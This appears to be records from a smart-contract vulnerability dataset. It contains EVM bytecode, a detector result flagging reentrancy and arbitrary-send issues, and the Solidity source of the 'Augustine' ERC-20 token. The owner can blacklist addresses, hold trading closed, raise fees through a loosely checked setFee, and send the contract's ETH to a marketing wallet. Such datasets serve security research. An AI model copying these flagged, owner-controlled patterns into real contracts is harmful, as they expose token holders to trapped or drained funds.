0c49565b6000546001600160a01b0316331461061b5760405162461bcd60e51b815260040161061290611dcf565b60405180910390fd5b60005b81518110156106835760016010600084848151811061063f5761063f611e04565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067b81611e30565b91505061061e565b5050565b6000610694338484610d33565b5060015b92915050565b60006106ab848484610e57565b6106fd84336106f885604051806060016040528060288152602001611f4a602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611393565b610d33565b5060019392505050565b6000546001600160a01b031633146107315760405162461bcd60e51b815260040161061290611dcf565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077c5760405162461bcd60e51b815260040161061290611dcf565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107ba57600080fd5b476107c4816113cd565b50565b6001600160a01b03811660009081526002602052604081205461069890611407565b6000546001600160a01b031633146108135760405162461bcd60e51b815260040161061290611dcf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108875760405162461bcd60e51b815260040161061290611dcf565b6601c6bf52634000811161089a57600080fd5b601555565b6000546001600160a01b031633146108c95760405162461bcd60e51b815260040161061290611dcf565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa15801561092e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109529190611e4b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c39190611e4b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a349190611e4b565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610a815760405162461bcd60e51b815260040161061290611dcf565b601454600160a01b900460ff1615610a9857600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610ae05760405162461bcd60e51b815260040161061290611dcf565b601755565b6000546001600160a01b03163314610b0f5760405162461bcd60e51b815260040161061290611dcf565b600893909355600a91909155600955600b55565b6000610694338484610e57565b6012546001600160a01b0316336001600160a01b031614610b5057600080fd5b6000610b5b306107c7565b90506107c48161148b565b6000546001600160a01b03163314610b905760405162461bcd60e51b815260040161061290611dcf565b60005b82811015610c01578160056000868685818110610bb257610bb2611e04565b9050602002016020810190610bc79190611c7f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610bf981611e30565b915050610b93565b50505050565b6000546001600160a01b03163314610c315760405162461bcd60e51b815260040161061290611dcf565b6601c6bf526340008111610c4457600080fd5b601655565b6000546001600160a01b03163314610c735760405162461bcd60e51b815260040161061290611dcf565b6001600160a01b038116610cd85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610612565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610612565b6001600160a01b038216610df65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610612565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ebb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610612565b6001600160a01b038216610f1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610612565b60008111610f7f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610612565b6000546001600160a01b03848116911614801590610fab57506000546001600160a01b03838116911614155b1561128c57601454600160a01b900460ff16611044576000546001600160a01b038481169116146110445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610612565b6015548111156110965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610612565b6001600160a01b03831660009081526010602052604090205460ff161580156110d857506001600160a01b03821660009081526010602052604090205460ff16155b6111305760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610612565b6014546001600160a01b038381169116146111b55760165481611152846107c7565b61115c9190611e68565b106111b55760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610612565b60006111c0306107c7565b6017546015549192508210159082106111d95760155491505b8080156111f05750601454600160a81b900460ff16155b801561120a57506014546001600160a01b03868116911614155b801561121f5750601454600160b01b900460ff165b801561124457506001600160a01b03851660009081526005602052604090205460ff16155b801561126957506001600160a01b03841660009081526005602052604090205460ff16155b15611289576112778261148b565b47801561128757611287476113cd565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112ce57506001600160a01b03831660009081526005602052604090205460ff165b8061130057506014546001600160a01b0385811691161480159061130057506014546001600160a01b03848116911614155b1561130d57506000611387565b6014546001600160a01b03858116911614801561133857506013546001600160a01b03848116911614155b1561134a57600854600c55600954600d555b6014546001600160a01b03848116911614801561137557506013546001600160a01b03858116911614155b1561138757600a54600c55600b54600d555b610c0184848484611605565b600081848411156113b75760405162461bcd60e51b81526004016106129190611bbd565b5060006113c48486611e80565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610683573d6000803e3d6000fd5b600060065482111561146e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610612565b6000611478611633565b90506114848382611656565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114d3576114d3611e04565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561152c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115509190611e4b565b8160018151811061156357611563611e04565b6001600160a01b0392831660209182029290920101526013546115899130911684610d33565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115c2908590600090869030904290600401611e97565b600060405180830381600087803b1580156115dc57600080fd5b505af11580156115f0573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061161257611612611698565b61161d8484846116c6565b80610c0157610c01600e54600c55600f54600d55565b60008060006116406117bd565b909250905061164f8282611656565b9250505090565b600061148483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117ff565b600c541580156116a85750600d54155b156116af57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806116d88761182d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061170a908761188a565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461173990866118cc565b6001600160a01b03891660009081526002602052604090205561175b8161192b565b6117658483611975565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117aa91815260200190565b60405180910390a3505050505050505050565b600654600090819068056bc75e2d631000006117d98282611656565b8210156117f65750506006549268056bc75e2d6310000092509050565b90939092509050565b600081836118205760405162461bcd60e51b81526004016106129190611bbd565b5060006113c48486611f08565b600080600080600080600080600061184a8a600c54600d54611999565b925092509250600061185a611633565b9050600080600061186d8e8787876119ee565b919e509c509a509598509396509194505050505091939550919395565b600061148483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611393565b6000806118d98385611e68565b9050838110156114845760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610612565b6000611935611633565b905060006119438383611a3e565b3060009081526002602052604090205490915061196090826118cc565b30600090815260026020526040902055505050565b600654611982908361188a565b60065560075461199290826118cc565b6007555050565b60008080806119b360646119ad8989611a3e565b90611656565b905060006119c660646119ad8a89611a3e565b905060006119de826119d88b8661188a565b9061188a565b9992985090965090945050505050565b60008080806119fd8886611a3e565b90506000611a0b8887611a3e565b90506000611a198888611a3e565b90506000611a2b826119d8868661188a565b939b939a50919850919650505050505050565b600082611a4d57506000610698565b6000611a598385611f2a565b905082611a668583611f08565b146114845760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610612565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c457600080fd5b8035611af381611ad3565b919050565b60006020808385031215611b0b57600080fd5b823567ffffffffffffffff80821115611b2357600080fd5b818501915085601f830112611b3757600080fd5b813581811115611b4957611b49611abd565b8060051b604051601f19603f83011681018181108582111715611b6e57611b6e611abd565b604052918252848201925083810185019188831115611b8c57600080fd5b938501935b82851015611bb157611ba285611ae8565b84529385019392850192611b91565b98975050505050505050565b600060208083528351808285015260005b81811015611bea57858101830151858201604001528201611bce565b81811115611bfc576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c2557600080fd5b8235611c3081611ad3565b946020939093013593505050565b600080600060608486031215611c5357600080fd5b8335611c5e81611ad3565b92506020840135611c6e81611ad3565b929592945050506040919091013590565b600060208284031215611c9157600080fd5b813561148481611ad3565b80358015158114611af357600080fd5b600060208284031215611cbe57600080fd5b61148482611c9c565b600060208284031215611cd957600080fd5b5035919050565b60008060008060808587031215611cf657600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611d2757600080fd5b833567ffffffffffffffff80821115611d3f57600080fd5b818601915086601f830112611d5357600080fd5b813581811115611d6257600080fd5b8760208260051b8501011115611d7757600080fd5b602092830195509350611d8d9186019050611c9c565b90509250925092565b60008060408385031215611da957600080fd5b8235611db481611ad3565b91506020830135611dc481611ad3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e4457611e44611e1a565b5060010190565b600060208284031215611e5d57600080fd5b815161148481611ad3565b60008219821115611e7b57611e7b611e1a565b500190565b600082821015611e9257611e92611e1a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ee75784516001600160a01b031683529383019391830191600101611ec2565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f2557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f4457611f44611e1a565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a51e011000ef3c13c0fc8be073d7bae7e627b2990cfb96acbcfaf9e4c82f262764736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,763
0x492b7d233b3c77481e984aac0736b77180a80836
/** *Submitted for verification at Etherscan.io on 2022-03-30 */ // File: contracts/Augustine.sol // File: Augustine.sol // File: contracts/Augustine.sol // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Augustine is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Augustine"; string private constant _symbol = "Augustine"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 6; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 9; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 3000000000 * 10**9; uint256 public _maxWalletSize = 3000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function initContract() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 5000000 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101db5760003560e01c80637d1db4a511610102578063a2a957bb11610095578063c492f04611610064578063c492f04614610545578063dd62ed3e14610565578063ea1644d5146105ab578063f2fde38b146105cb57600080fd5b8063a2a957bb146104c0578063a9059cbb146104e0578063bfd7928414610500578063c3c8cd801461053057600080fd5b80638f70ccf7116100d15780638f70ccf71461046a5780638f9a55c01461048a57806395d89b411461020957806398a5c315146104a057600080fd5b80637d1db4a5146103f45780637f2feddc1461040a5780638203f5fe146104375780638da5cb5b1461044c57600080fd5b8063313ce5671161017a5780636fc3eaec116101495780636fc3eaec1461038a57806370a082311461039f578063715018a6146103bf57806374010ece146103d457600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636d8aa8f81461036a57600080fd5b80631694505e116101b65780631694505e1461027a57806318160ddd146102b257806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101e757806306fdde0314610209578063095ea7b31461024a57600080fd5b366101e257005b600080fd5b3480156101f357600080fd5b50610207610202366004611b40565b6105eb565b005b34801561021557600080fd5b506040805180820182526009815268417567757374696e6560b81b602082015290516102419190611c05565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611c5a565b61068a565b6040519015158152602001610241565b34801561028657600080fd5b5060135461029a906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b3480156102be57600080fd5b5068056bc75e2d631000005b604051908152602001610241565b3480156102e457600080fd5b5061026a6102f3366004611c86565b6106a1565b34801561030457600080fd5b506102ca60175481565b34801561031a57600080fd5b5060405160098152602001610241565b34801561033657600080fd5b5060145461029a906001600160a01b031681565b34801561035657600080fd5b50610207610365366004611cc7565b61070a565b34801561037657600080fd5b50610207610385366004611cf4565b610755565b34801561039657600080fd5b5061020761079d565b3480156103ab57600080fd5b506102ca6103ba366004611cc7565b6107ca565b3480156103cb57600080fd5b506102076107ec565b3480156103e057600080fd5b506102076103ef366004611d0f565b610860565b34801561040057600080fd5b506102ca60155481565b34801561041657600080fd5b506102ca610425366004611cc7565b60116020526000908152604090205481565b34801561044357600080fd5b506102076108a2565b34801561045857600080fd5b506000546001600160a01b031661029a565b34801561047657600080fd5b50610207610485366004611cf4565b610a87565b34801561049657600080fd5b506102ca60165481565b3480156104ac57600080fd5b506102076104bb366004611d0f565b610ae6565b3480156104cc57600080fd5b506102076104db366004611d28565b610b15565b3480156104ec57600080fd5b5061026a6104fb366004611c5a565b610b6f565b34801561050c57600080fd5b5061026a61051b366004611cc7565b60106020526000908152604090205460ff1681565b34801561053c57600080fd5b50610207610b7c565b34801561055157600080fd5b50610207610560366004611d5a565b610bb2565b34801561057157600080fd5b506102ca610580366004611dde565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b757600080fd5b506102076105c6366004611d0f565b610c53565b3480156105d757600080fd5b506102076105e6366004611cc7565b610c82565b6000546001600160a01b0316331461061e5760405162461bcd60e51b815260040161061590611e17565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257610642611e4c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611e78565b915050610621565b5050565b6000610697338484610d6c565b5060015b92915050565b60006106ae848484610e90565b61070084336106fb85604051806060016040528060288152602001611f92602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113cc565b610d6c565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161061590611e17565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461077f5760405162461bcd60e51b815260040161061590611e17565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107bd57600080fd5b476107c781611406565b50565b6001600160a01b03811660009081526002602052604081205461069b90611440565b6000546001600160a01b031633146108165760405162461bcd60e51b815260040161061590611e17565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088a5760405162461bcd60e51b815260040161061590611e17565b6611c37937e08000811161089d57600080fd5b601555565b6000546001600160a01b031633146108cc5760405162461bcd60e51b815260040161061590611e17565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561092c57600080fd5b505afa158015610940573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109649190611e93565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ac57600080fd5b505afa1580156109c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e49190611e93565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a2c57600080fd5b505af1158015610a40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a649190611e93565b601480546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610ab15760405162461bcd60e51b815260040161061590611e17565b601454600160a01b900460ff1615610ac857600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b03163314610b105760405162461bcd60e51b815260040161061590611e17565b601755565b6000546001600160a01b03163314610b3f5760405162461bcd60e51b815260040161061590611e17565b60095482111580610b525750600b548111155b610b5b57600080fd5b600893909355600a91909155600955600b55565b6000610697338484610e90565b6012546001600160a01b0316336001600160a01b031614610b9c57600080fd5b6000610ba7306107ca565b90506107c7816114c4565b6000546001600160a01b03163314610bdc5760405162461bcd60e51b815260040161061590611e17565b60005b82811015610c4d578160056000868685818110610bfe57610bfe611e4c565b9050602002016020810190610c139190611cc7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610c4581611e78565b915050610bdf565b50505050565b6000546001600160a01b03163314610c7d5760405162461bcd60e51b815260040161061590611e17565b601655565b6000546001600160a01b03163314610cac5760405162461bcd60e51b815260040161061590611e17565b6001600160a01b038116610d115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610615565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610dce5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610615565b6001600160a01b038216610e2f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610615565b6001600160a01b038381166000818152600460209081526040808320948716808